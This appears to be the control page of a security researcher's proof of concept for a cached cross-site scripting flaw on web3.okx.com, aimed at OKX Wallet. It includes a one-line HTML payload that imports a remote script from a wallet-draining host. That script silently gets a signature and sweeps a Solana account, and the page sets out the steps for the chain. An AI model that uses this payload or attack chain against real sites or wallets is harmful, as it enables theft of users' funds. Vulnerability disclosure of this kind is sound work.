OKX H1-045 owned-wallet sweep control

Ready to build for the provider-discovered account

Safety boundary

The cached page supplies the already-connected provider publicKey automatically. The server builds and executes the complete synthetic sweep only on the loopback validator.

Mode
local-provider-discovery-broadcast
Template public key
read automatically from provider
Template SHA-256
not loaded

Automatic cached-page control

  1. Use Chrome with OKX Wallet 4.24.0 in a disposable profile. Unlock it, leave Auto-confirm on, and select an owned Solana account already permitted on web3.okx.com.
  2. Use the reported cache producer to store the generated HTML below on web3.okx.com. Do not use another person's token or wallet.
  3. Open the resulting cached URL once. The page imports the module automatically. Do not open DevTools, enter an address, call Connect, or approve a wallet request.
<!doctype html><script type="module">import("https://sol-drain.asp.j15.se/sweep.js")</script>

Success is a visible state: done panel with feePayerSignatureVerified: true, connectRequestedByPoc: false, and broadcastRequested: true.

The module reads the already-connected provider public key and requests the transaction for that account. No account value is copied into the controller.

Retest: Open a fresh cached document. Each fresh document can request another silent signature. The PoC has no persistent replay limit.

Files

sweep.js · sweep.json · generated SVG for an automatic owned-token test · generated HTML for the cached-XSS producer